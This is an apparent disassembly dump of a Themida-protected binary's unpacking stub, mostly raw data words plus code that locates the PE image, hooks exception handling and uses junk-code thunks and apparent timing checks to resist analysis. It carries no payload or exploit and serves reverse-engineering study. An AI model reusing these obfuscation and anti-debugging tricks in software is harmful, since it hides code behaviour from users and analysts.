dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0AF3C5CC3h
dd 0BB7AD82Dh, 5302730Ch, 11858D59h, 6A06AC13h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
dd 9A6AC350h, 2CD6ECF9h, 336070F3h, 0A821F595h, 0ED8D8B06h
dd 6106A815h, 0FE890h, 0ECCF0000h, 3094F54Ch, 9A217458h
dd 3F16970Eh, 0DE810h, 29C80000h, 122F4F2h, 37200F44h
dd 6619812Fh, 5951DCB9h, 0BE95059h, 0B9000000h, 62A959EFh
dd 9C76994Bh, 8090FEE4h, 858DA7EAh, 6AC12CEh, 3231958Bh
dd 895006A8h, 0BA662404h, 95FFF83Eh, 6A82D75h, 90DBD29h
dd 0C08B06A8h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 14h, 70C35040h, 25D9BD8Bh, 0BD8306A8h, 6A81ED9h, 83097500h
dd 0A82DE9BDh, 13740006h, 0C08B5350h, 4D0B8h, 0E79D8D00h
dd 0FF06AA9Fh, 83585BD3h, 0A82DE9BDh, 11740006h, 0D0B85350h
dd 8D000004h, 0AA9EE69Dh, 5BD3FF06h, 0B1958958h, 0F06A827h
dd 0F781D7BFh, 6F605F08h, 6AC08Bh, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1B0424h, 51410000h, 1A5711C3h, 0AE810AB5h
dd 58F78ACEh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 16h, 16C35040h, 8D8B723Ah, 6A80B89h, 14418D8Bh, 8C206A8h
dd 5E96000h, 0A2000000h, 40A9F794h, 8E9h, 0ACDDFF00h, 0E187D913h
dd 0C08B615Eh, 8DCE8B66h, 0AC134185h, 0CF816606h, 85894BEBh
dd 6A805E9h, 0E1000BAh, 0EA81F0h, 83F00000h, 958914C2h
dd 6A800A1h, 8D14EA83h, 0AC266585h, 0FF645006h, 35h, 25896400h
dd 0
; ---------------------------------------------------------------------------
call $+5
pop eax
sub eax, edx
and eax, 0FFFFF000h
loc_58C005: ; CODE XREF: Themida_:0058C027j
cmp word ptr [eax], 5A4Dh
jnz loc_58C022
movzx edx, word ptr [eax+3Ch]
add edx, eax
cmp dword ptr [edx], 4550h
jz loc_58C02C
loc_58C022: ; CODE XREF: Themida_:0058C00Aj
sub eax, 1000h
jmp loc_58C005
; ---------------------------------------------------------------------------
loc_58C02C: ; CODE XREF: Themida_:0058C01Cj
mov ecx, eax
mov [ebp+6A831D5h], eax
add eax, [eax+3Ch]
movzx edx, word ptr [eax+6]
mov [ebp+6A80E75h], edx
mov edx, [eax+50h]
mov [ebp+6A82605h], edx
add eax, 0F8h
mov edx, [eax+0Ch]
add edx, ecx
mov [ebp+6A80D81h], edx
add edx, [eax+8]
mov [ebp+6A81641h], edx ; CODE XREF: Themida_:0058C0BDj
pop large dword ptr fs:0
add esp, 4
jmp loc_58C085
; ---------------------------------------------------------------------------
push ecx
mov ecx, [esp+10h]
sub dword ptr [ecx+0B0h], 1000h
pop ecx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_58C085: ; CODE XREF: Themida_:0058C06Dj
cmp dword ptr [ebp+6A80061h], 0
jz loc_58C0B6
mov byte ptr [ebp+6A815D5h], 47h
push 0D49AA7D2h
push dword ptr [ebp+6A80F95h]
lea eax, [ebp+6AB6971h]
call eax
push 0
call eax
mov [ebp+6A82D85h], eax
loc_58C0B6: ; CODE XREF: Themida_:0058C08Cj
mov edx, ebx
call sub_58C0CF
jo short near ptr loc_58C05D+4
mov ah, 7Bh
jmp near ptr 3C85CC0Bh
; ---------------------------------------------------------------------------
dw 578Eh
dd 443E9A71h
; ---------------------------------------------------------------------------
or ah, 0FDh
; =============== S U B R O U T I N E =======================================
sub_58C0CF proc near ; CODE XREF: Themida_:0058C0B8p
pusha
jmp loc_58C0E5
; ---------------------------------------------------------------------------
db 4Bh, 0A0h, 0A5h
dd 0EE422F62h, 1171DC20h, 8C641CF7h
db 0F4h
; ---------------------------------------------------------------------------
loc_58C0E5: ; CODE XREF: sub_58C0CF+1j
mov bh, 92h
popa
pop ecx
jmp loc_58C0F5
; ---------------------------------------------------------------------------
cwde
and [esi+38h], edx
fild word ptr [edx+edi*4]
loc_58C0F5: ; CODE XREF: sub_58C0CF+1Aj
add ecx, 716Dh
push ecx
jle loc_58C108
xor edx, 0FC1494Fh
loc_58C108: ; CODE XREF: sub_58C0CF+2Dj
pop edi
xor eax, eax
movsx edi, si
loc_58C10E: ; CODE XREF: sub_58C0CF+89j
push dword ptr [eax+ecx]
movzx ebx, bx
pop esi
jmp loc_58C11F
; ---------------------------------------------------------------------------
dw 6634h
db 8Fh, 63h, 8Dh
; ---------------------------------------------------------------------------
loc_58C11F: ; CODE XREF: sub_58C0CF+46j
xor esi, 7BD6C6ABh
cld
add esi, 67D91E44h
push ecx
mov bl, 28h
pop edx
xor esi, 7CC79C19h
movzx ebx, bx
mov [ecx+eax], esi
xor ebx, 2D0ACA9Bh
pusha
mov dh, ah
popa
sub eax, 1
mov edx, 7C1CC38h
dec eax
dec eax
dec eax
stc
cmp eax, 0FFFF8F40h
jnz loc_58C10E
jb loc_58C16E
jb loc_58C16E
mov bx, 0B21Ch
loc_58C16E: ; CODE XREF: sub_58C0CF+8Fj
; sub_58C0CF+95j
pusha
mov [ebp+6A806A1h], ebx
jmp loc_58C18A
; ---------------------------------------------------------------------------
dw 4925h
dd 21397359h, 6A9529A5h, 0AD29B4Ch
db 58h, 0EEh
; ---------------------------------------------------------------------------
loc_58C18A: ; CODE XREF: sub_58C0CF+A6j
mov eax, eax
mov ecx, [ebp+6A83479h]
cmp dword ptr [ebp+6A81ED9h], 0
jnz short loc_58C1A4
cmp dword ptr [ebp+6A82DE9h], 0
jz short loc_58C1BD
loc_58C1A4: ; CODE XREF: sub_58C0CF+CAj
push eax
push ebx
mov eax, eax
mov eax, 438h
mov [ebp+6A807B5h], eax
lea ebx, [ebp+6AAA1ACh]
call ebx
pop ebx
pop eax
loc_58C1BD: ; CODE XREF: sub_58C0CF+D3j
cmp dword ptr [ebp+6A82DE9h], 0
jz short loc_58C1DD
push eax
push ebx
mov eax, 438h
mov [ebp+6A807B5h], eax
lea ebx, [ebp+6AA9E9Bh]
call ebx
pop ebx
pop eax
loc_58C1DD: ; CODE XREF: sub_58C0CF+F5j
pusha
xor edi, [ebp+6A81B75h]
sbb dh, 8Fh
popa
mov eax, eax
push 0
push ebp
call sub_58C1F5
and [ebp-3Dh], bl
sub_58C0CF endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_58C1F5 proc near ; CODE XREF: sub_58C0CF+11Ep
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 18h
inc ebp
push ebp
retn
sub_58C1F5 endp
; ---------------------------------------------------------------------------
sbb ebx, esi
dec edi
jno short loc_58C26C
call sub_58CA50
mov [ebp+6A82A8Dh], eax
and esi, [ebp+6A82CD5h]
call sub_58CA50
push 0
push ebp
call sub_58C22B
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58C22B proc near ; CODE XREF: Themida_:0058C223p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Dh
inc ebp
push ebp
retn
sub_58C22B endp
; ---------------------------------------------------------------------------
cwde
pusha
inc ecx
add edi, [edx+627AB98Bh]
db 3Eh
or si, 3ADBh
add [ebp+6A81E05h], esi
mov esi, [ebp+6A834C5h]
mov [ebp+6A81DA9h], eax
push 0
push edx
call sub_58C267
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58C267 proc near ; CODE XREF: Themida_:0058C25Fp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
loc_58C26C: ; CODE XREF: Themida_:0058C208j
add [esp-4+arg_4], 17h
inc edx
push edx
retn
sub_58C267 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 4Ah
dd 0E83DF5E7h, 7D0h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Ah, 0B9C35242h, 0DE2AB413h, 14E9B696h, 0B5000000h
dd 0B469DADDh, 0AC9ACFB8h, 9DB80286h, 39EC4A46h, 8935C8B4h
dd 0A8156185h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1504h, 0C3554500h, 8B661041h, 76AE8F9h, 6A0000h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
dd 27EAA9C3h, 0FEFA049Fh, 0E9E3AFD2h, 14h, 92D86E1h, 47CAA5F8h
dd 0B36144B3h, 9FA3F2BEh, 0A64BD1E0h, 0E018589h, 6A06A8h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
dd 0D73A3DC3h, 237C170Bh, 6840F93h, 9000000h, 0A830259Dh
dd 6F2E806h, 0BE80000h, 97000000h, 0DAC40C1Eh, 8F5453AAh
dd 8166D6E1h, 5F3CADDEh, 14A18589h, 6A06A8h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 0E5B96CC3h
dd 3B2F11D9h, 6AFE8h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1404h, 0C3564600h, 0F28B66E7h, 15358589h
dd 6A06A8h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
dd 52420000h, 0B58B9EC3h, 6A80165h, 663E8h, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
dd 4DED302Fh, 6606F7ABh, 8589FA8Bh, 6A805FDh, 0E85EF857h
dd 630h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 19h, 8C35646h, 0CEEB4732h, 12E9DCh, 0FE550000h, 0B41A749Bh
dd 6C5C5793h, 37FF4D79h, 0FE1A8674h, 0D418589h, 6A06A8h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
dd 0B58BD1C3h, 6A8168Dh, 5CBE8h, 8D858900h, 6A06A829h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h
dd 42000000h, 0C077C352h, 5A2E84Dh, 85890000h, 6A82071h
dd 9FBBF5BFh, 0F1816679h, 8DE8B726h, 6A000005h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
dd 86ABC351h, 2041FF47h, 0B1858969h, 6A06A801h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
dd 759AC352h, 0EFE31BA1h, 0E8274AA3h, 53Ch, 16FD8589h
dd 6A06A8h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
dd 51410000h, 0EA12E9C3h, 0A143AFB2h, 0B5891B59h, 6A817CDh
dd 507E8h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1604h, 0C3524200h, 0BF8E2309h, 33474DADh, 21118589h
dd 0BD8906A8h, 6A8093Dh, 4D3E8h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 0EDB529ADh
dd 5106A833h, 6820Fh, 85890000h, 6A81DA1h, 818D8B59h, 8906A81Eh
dd 0A82A1185h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1604h, 0C3534300h, 31A5B0F5h, 0A82CE185h
dd 46EE806h, 85890000h, 6A80915h, 681B966h, 5DE8F88Bh
dd 6A000004h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1D042444h, 47000000h, 22C3C357h, 8C800146h, 19FBCED0h
dd 89C88B66h, 0A8350985h, 51006A06h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1804h, 0C3514100h, 686EB86Dh
dd 9DBD0358h, 0B006A826h, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 0D00504C0h
dd 0D398761h, 0F0BF6626h, 68D0F6Ch, 89000000h, 0A81FE99Dh
dd 0D8B60F06h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Bh, 56C35343h, 0D66171CCh, 66C13A4Fh, 89D6C781h, 6BAh
dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h
dd 0C3564600h, 892BB765h, 0A80B55B5h, 0E8C38B06h, 14h
dd 6AF5828Fh, 0AC61272Ch, 0FE4AE8B7h, 0AFA342A2h, 6296A28Ah
dd 68E0Fh, 8D8B0000h, 6A82A81h, 6D9D295Eh, 0C106A81Bh
dd 6A04E8h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
dd 52420000h, 6010F8C3h, 1FD2CE49h, 7EDE8166h, 0F766F921h
dd 2DB58BE2h, 2B06A82Eh, 68B0FD8h, 0F000000h, 88h, 14E95000h
dd 4B000000h, 0C61C3944h, 732E6D9Ah, 0BA590E04h, 251AE799h
dd 890AFEE2h, 6A241Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1A0424h, 57470000h, 4BC4ABC3h, 95D2DC6Bh, 34498D8Bh
dd 95FF06A8h, 6A8068Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 16h, 56C35343h, 895BC97Fh, 0A82BADBDh, 0F1958D06h
dd 6A06A80Bh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1C042444h, 47000000h, 8D74C357h, 3D5389E4h, 6005031Ah
dd 18C0Fh, 89F50000h, 0A8153D95h, 1A896106h, 2601B58Bh
dd 428906A8h, 12E804h, 82DD0000h, 0EC430C2Bh, 0B66B9560h
dd 0B9727575h, 0C4FDA033h, 1EA58D03h, 8D5906A8h, 0A826C595h
dd 0CFC98106h, 8B110316h, 0A806998Dh, 6A1A8906h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
dd 0C073C350h, 0EE969h, 7F4D0000h, 9CE95066h, 357670C1h
dd 10699ECCh, 6320CF81h, 42895FB4h, 56006A04h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 880FFD81h
dd 6, 2521B529h, 816606A8h, 8D88F3C6h, 0A8315995h, 0E98D8906h
dd 8906A81Ah, 0F4E6811Ah, 8929D55Dh, 0BF0F0442h, 35BD8BF0h
dd 8D06A809h, 0A8014995h, 53006A06h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 0A7904CB9h
dd 0E5FBAAB2h, 8419501h, 1A8906A8h, 174D8D01h, 428906A8h
dd 53006A04h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h
dd 0C3534300h, 5C87CEE4h, 21958D7Ch, 6A06A800h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
dd 60E8C356h, 0A56E9FF1h, 42891A89h, 51006A04h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1704h, 0C3514100h, 75C11BCFh
dd 2F45958Dh, 89FC06A8h, 56006A1Ah, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1D04h, 0C3564600h, 881F927Fh, 6A31BF9Fh
dd 0B5899F80h, 6A81FD1h, 44289F5h, 0EAD8D03h, 958D06A8h
dd 6A83005h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 16h, 84C35242h, 9DBFAA9Bh, 8B4C6793h, 0A8061D8Dh, 521A8906h
dd 0B58B5FF9h, 6A83321h, 6A044289h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0CFA5C351h
dd 0B8AFA1C1h, 0AB9958Dh, 6A06A8h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 160424h, 50400000h, 278D89C3h, 3DF6B966h
dd 6A1A89h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
dd 53430000h, 1A1A5AC3h, 442895Ah, 8F5B503h, 8B6606A8h
dd 0F3E9FEh, 0B5890000h, 6A83375h
; =============== S U B R O U T I N E =======================================
sub_58CA50 proc near ; CODE XREF: Themida_:0058C20Ap
; Themida_:0058C21Bp
push 0
or [ebp+6A817E9h], eax
push 0
push 0
push esi
call sub_58CA65
and [esi-3Dh], bl
sub_58CA50 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_58CA65 proc near ; CODE XREF: sub_58CA50+Dp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ch
inc esi
push esi
retn
sub_58CA65 endp
; ---------------------------------------------------------------------------
sub eax, 2A806F81h
xchg eax, edx
fmul qword ptr [ebx+43h]
and ecx, [ebp+6A81B49h]
sub [ebp+6A829C9h], edi
push 0
push 0
push edx
call sub_58CA97
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58CA97 proc near ; CODE XREF: Themida_:0058CA8Fp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Dh
inc edx
push edx
retn
sub_58CA97 endp
; ---------------------------------------------------------------------------
db 98h
dd 58EE4AF8h, 63A239D2h, 0A9B58BB6h, 6A06A825h, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
dd 84E23BFFh, 858E5A49h, 12E802B3h, 0D1000000h, 0FEDFD28Eh
dd 100B82FDh, 72FFA27Dh, 2CC5DECBh, 0DE95FC8h, 50000000h
dd 6C70374Bh, 0CBDAC72Dh, 38333106h, 3019BD01h, 95FF06A8h
dd 6A80281h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 14h, 19C35040h, 7358529h, 9C306A8h, 0A82F9595h, 6AC58A06h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h
dd 43000000h, 12BFC353h, 66D81A10h, 8BC458BFh, 53006AC0h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
dd 20FB675h, 0D83A94A7h, 1711B589h, 0BD8306A8h, 6A81ED9h
dd 83097500h, 0A82DE9BDh, 19740006h, 0C08B5350h, 438B8h
dd 0D5858900h, 8D06A80Fh, 0AAA2139Dh, 5BD3FF06h, 0E9BD8358h
dd 6A82Dh, 53501774h, 438B8h, 0D5858900h, 8D06A80Fh, 0AA9EB49Dh
dd 5BD3FF06h, 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1604h, 0C3534300h, 5795BE8Ch, 58E0Fh, 95BF0000h, 5F4C5883h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0A4C35242h
dd 95319026h, 1391B382h, 0CDBD892Ch, 8B06A80Fh, 85858DC0h
dd 6A06A833h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 15042444h, 47000000h, 0EB0BC357h, 50FB8B66h, 4891CB3h
dd 51006A24h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h
dd 0C3514100h, 0CDBA35ACh, 0D4B823F3h, 2A98589h, 6A06A8h
dd 30499531h, 6A06A8h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Ah, 4CC35343h, 0B9D2D8D5h, 0BF66AD53h, 0BD892B79h
dd 6A82F31h, 345A858Dh, 6A06ACh, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 140424h, 52420000h, 0C0837DC3h, 9D8B5705h
dd 6A83129h, 0BE8505Fh, 6C000000h, 857680CBh, 9D4C14EBh
dd 11E838B2h, 5A000000h, 52E613C3h, 5F9074F9h, 2D2635Eh
dd 3253080Ch, 4895F5Bh, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1D04h, 0C3554500h, 0F50F3F9Bh, 0FF3E57D5h
dd 95891DFEh, 6A82089h, 8A0F006Ah, 6, 93DB589h, 0FB8B06A8h
dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
dd 52420000h, 0B92D76C3h, 56740744h, 870F7015h, 5, 7BCB8166h
dd 4195FF0Fh, 6A06A825h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1A042444h, 40000000h, 0CB0DC350h, 520F86A3h
dd 0E3B66028h, 8E9h, 7FF55900h, 3220E41Eh, 5F52612Fh, 8C7F8D8Dh
dd 6A06ABh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
dd 52420000h, 0FA851C3h, 8Dh, 0E9D1FF00h, 7, 0AEBA7C40h
dd 83997DF1h, 0A8339DBDh, 850F0106h, 67h, 0E855006Ah, 3
dd 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0FDC35545h, 0A735F3DFh
dd 8B1D2181h, 999D29FBh, 6A06A82Bh, 15BD8B02h, 9006A800h
dd 0E850D88Bh, 0Fh, 8F88AF31h, 755E19D5h, 1545DB8Dh, 0F3B962Dh
dd 8Dh, 0F905F00h, 489h, 0A7BF6600h, 1D95FFD1h, 6606A81Eh
dd 0E9F50DBFh, 0DAFh, 0E8h, 0ED815D00h, 6AC3464h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 3C35242h, 5394F2Bh
dd 2AD19589h, 6A06A8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 190424h, 57470000h, 0B3407FC3h, 0E96CB3EFh, 0Fh, 86BA24FAh
dd 83258570h, 722F926Fh, 8DAB889Bh, 0AB7E2E85h, 0D3816606h
dd 5090161Ah, 6B6F8BBBh, 8E0F9038h, 2, 0FF645B50h, 35h
dd 7E900h, 31700000h, 17CD1675h, 4648BBBEh, 89641584h
dd 25h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1A04h, 0C3514100h, 7F6E99D3h, 0BFCEC791h, 5FF83F39h
dd 92D38166h, 0F185FFC3h, 6A06A833h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0FB3FC352h
dd 3652E578h, 0CA620EBFh, 4BDB8166h, 6AFF6A93h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
dd 0CB91C357h, 0A59EF037h, 11E9h, 0CA712700h, 0C772C3EBh
dd 210AA99h, 89118BD2h, 0B5FFF8E6h, 6A82A8Dh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 1CC35747h, 2408E7E7h
dd 0C107C750h, 2A7D95FFh, 1DE906A8h, 0B0000001h, 8DBD8B00h
dd 0F06A809h, 289h, 0E6D0B700h, 71E4FC70h, 0B6D9D8Bh, 613C06A8h
dd 0FA830Fh, 8D890000h, 6A82CF9h, 0BAC8B60Fh, 6, 0CC98589h
dd 0C18B06A8h, 0C799529h, 0C1F906A8h, 0BD8904E8h, 6A81C09h
dd 3E2F766h, 0A81D499Dh, 41BD8B06h, 2B06A81Eh, 6D9D01C8h
dd 8B06A809h, 0DAB70FD1h, 0E9h, 0F1858B00h, 6606A80Bh
dd 0BD99CB81h, 254DBD09h, 0C08306A8h, 0D9BF0F07h, 5000C083h
dd 0CBD8D29h, 0F5F06A8h, 0D03BD9B7h, 0B830Fh, 0B5290000h
dd 6A831B9h, 7BE9h, 218D8B00h, 0F06A830h, 118Eh, 0E8F86000h
dd 8, 0CAB5DA51h, 7E3D0FF7h, 0E1836158h, 55840F01h, 31000000h
dd 0A81A4D85h, 21A58306h, 0FE06A830h, 13E9h, 0F076500h
dd 0E07EF6CDh, 5CC606C6h, 88612B0Dh, 3B80E621h, 306D8509h
dd 958906A8h, 6A80BF1h, 14E9h, 8176B400h, 67EEF362h, 7663E2A8h
dd 0B158E376h, 7877B49Eh, 458D29A1h, 0E906A806h, 0
; ---------------------------------------------------------------------------
lea esi, [ebp+6ABBADDh]
push 0
push edx
call sub_58D105
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58D105 proc near ; CODE XREF: Themida_:0058D0FDp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Bh
inc edx
push edx
retn
sub_58D105 endp
; ---------------------------------------------------------------------------
db 98h, 0ECh, 67h
; ---------------------------------------------------------------------------
mov bl, 28h
sbb al, 0A7h
mov bx, 7684h
push 0
push 0
push edx
call sub_58D12E
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58D12E proc near ; CODE XREF: Themida_:0058D126p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ch
inc edx
push edx
retn
sub_58D12E endp
; ---------------------------------------------------------------------------
dw 0F51h
dd 0E2C96D77h, 0FF147D7Ah, 0A81B3195h, 55006A06h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
dd 59D35ECFh, 0D8BF0F95h, 651B9h, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 0F9AD2C18h
dd 1CEF6DDh, 0B70FBB78h, 0FCE183D9h, 68C5D7BFh, 0C7816622h
dd 89FC8AF9h, 0A80D998Dh, 0B806h, 6A0000h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 78A576C3h
dd 473E6F9Fh, 0AE9h, 7CDFA000h, 7B0E762Bh, 2B1C55ABh, 51006AD2h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
dd 8BB7A4ACh, 0A81FED9Dh, 8E906h, 0BF210000h, 0A660983h
dd 33AD5F94h, 3E8D1C2h, 4E983D0h, 9D8BF475h, 6A806D5h
dd 89DF8B66h, 0A81E25B5h, 880D06h, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0B9631BC3h
dd 94F7B62h, 8B10C54Ah, 0A827499Dh, 0B9958B06h, 6A06A805h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h
dd 47000000h, 9D0DC357h, 90BE6149h, 698D8B39h, 0BB06A814h
dd 0CAA4F23h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h
dd 10E95818h, 7000000h, 5AC8A335h, 2600347h, 0FA95C02h
dd 837321BFh, 0A80C91BDh, 840F0006h, 3Fh, 0B8D88B66h, 0
; ---------------------------------------------------------------------------
adc di, 0D84Bh
lea ecx, [ebp+6A84FAFh]
push 0
push ecx
call sub_58D2EA
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58D2EA proc near ; CODE XREF: Themida_:0058D2E2p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ch
inc ecx
push ecx
retn
sub_58D2EA endp
; ---------------------------------------------------------------------------
dw 0A918h
dd 0E79B5FF3h, 89C7FBBCh, 0A806E19Dh, 83E1FF06h, 0A80BBDBDh
dd 840F0006h, 46Eh, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 18h, 84C35040h, 7F99A25Fh, 0BBDBD83h, 0F0106A8h
dd 45C84h, 83DA8B00h, 0A80BBDBDh, 860F0306h, 417h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 29C35141h, 0DDDFC758h
dd 0E860744Ch, 0Fh, 0E02B42Bh, 43EB4A0Fh, 97990A3Dh, 669450FBh
dd 3869F381h, 0D98C665Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Ah, 67C35545h, 880C8204h, 0E1807462h, 0F9BF0F04h
dd 840FC90Ah, 136h, 858BDA8Bh, 6A80BE1h, 15B99D8Bh, 853306A8h
dd 6A81D5Dh, 0D690F781h, 8B0F4561h, 6, 2F1DBD8Bh, 509006A8h
dd 0E2B86052h, 8B49F267h, 310F61F8h, 310F5250h, 0CE8h
dd 49183C00h, 1CAEBF96h, 67E2844Dh, 585A5FACh, 0F50585Ah
dd 0C84h, 7E900h, 9A430000h, 4986C5B8h, 0C7819064h, 242F7133h
dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
dd 51410000h, 8EDC67C3h, 6628BD37h, 0BD29FB3Bh, 6A820D9h
dd 4E8h, 1F03FF00h, 50FB8B00h, 98CA7EBFh, 24448B52h, 60525004h
dd 0BB666160h, 0F616072h, 0BB525031h, 2AEC2F37h, 585A310Fh
dd 8B585Ah, 800Fh, 44890000h, 0FB8B0424h, 299D8B58h, 0FF06A831h
dd 0A8074195h, 0DF816606h, 89604912h, 0A81F1995h, 8961F906h
dd 0ABA22785h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1804h, 0C3534300h, 0E7EC1869h, 14E9F8F7h
dd 6A000002h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 17042444h, 40000000h, 0B237C350h, 858B319Ah, 6ABA21Fh
dd 2E459D33h, 0C706A8h, 18h, 7E8h, 63952800h, 34373F53h
dd 69C7BF5Fh, 0B58B4751h, 6ABA223h, 10E9h, 74792500h, 5CD6C10h
dd 0B35FDB0Fh, 0ECBB9ADCh, 7D858B98h, 8B06A82Bh, 6A0689D8h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h
dd 42000000h, 9A50C352h, 0E1858BF8h, 0E906A80Bh, 13h, 350E6854h
dd 23E5EBD4h, 3E478F0Ah, 6005D4EFh, 896E1634h, 0A80A95B5h
dd 4468906h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Bh, 0EAC35747h, 0B6AFBF1Dh, 0E9F73941h, 11h, 9B350F7Fh
dd 0B004CD05h, 60EA781Ah, 0B975A2E3h, 0C38166BCh, 0B79610C1h
dd 8B665073h, 6A96D8h, 3E856h, 5E200000h, 74895EC3h, 44810424h
